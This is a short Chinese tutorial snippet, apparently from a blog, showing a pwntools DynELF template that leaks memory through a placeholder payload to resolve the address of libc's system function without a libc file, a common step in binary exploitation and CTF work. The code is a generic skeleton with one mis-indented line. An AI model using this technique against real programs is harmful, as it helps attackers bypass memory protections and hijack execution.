无libc泄露地址

用pwntools的DynELF模块来实现

DynELF的基本框架

p = process('./xxx')

def leak(address):

  #各种预处理

  payload = "xxxxxxxx" + address + "xxxxxxxx"

  p.send(payload)

  #各种处理

  leaked = p.recv(4)

print "[%s] -> [%s] = [%s]" % (hex(address),hex(u32(leaked)),repr(leaked))

  return leaked

d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块

systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码。

你可能感兴趣的:(无libc泄露地址)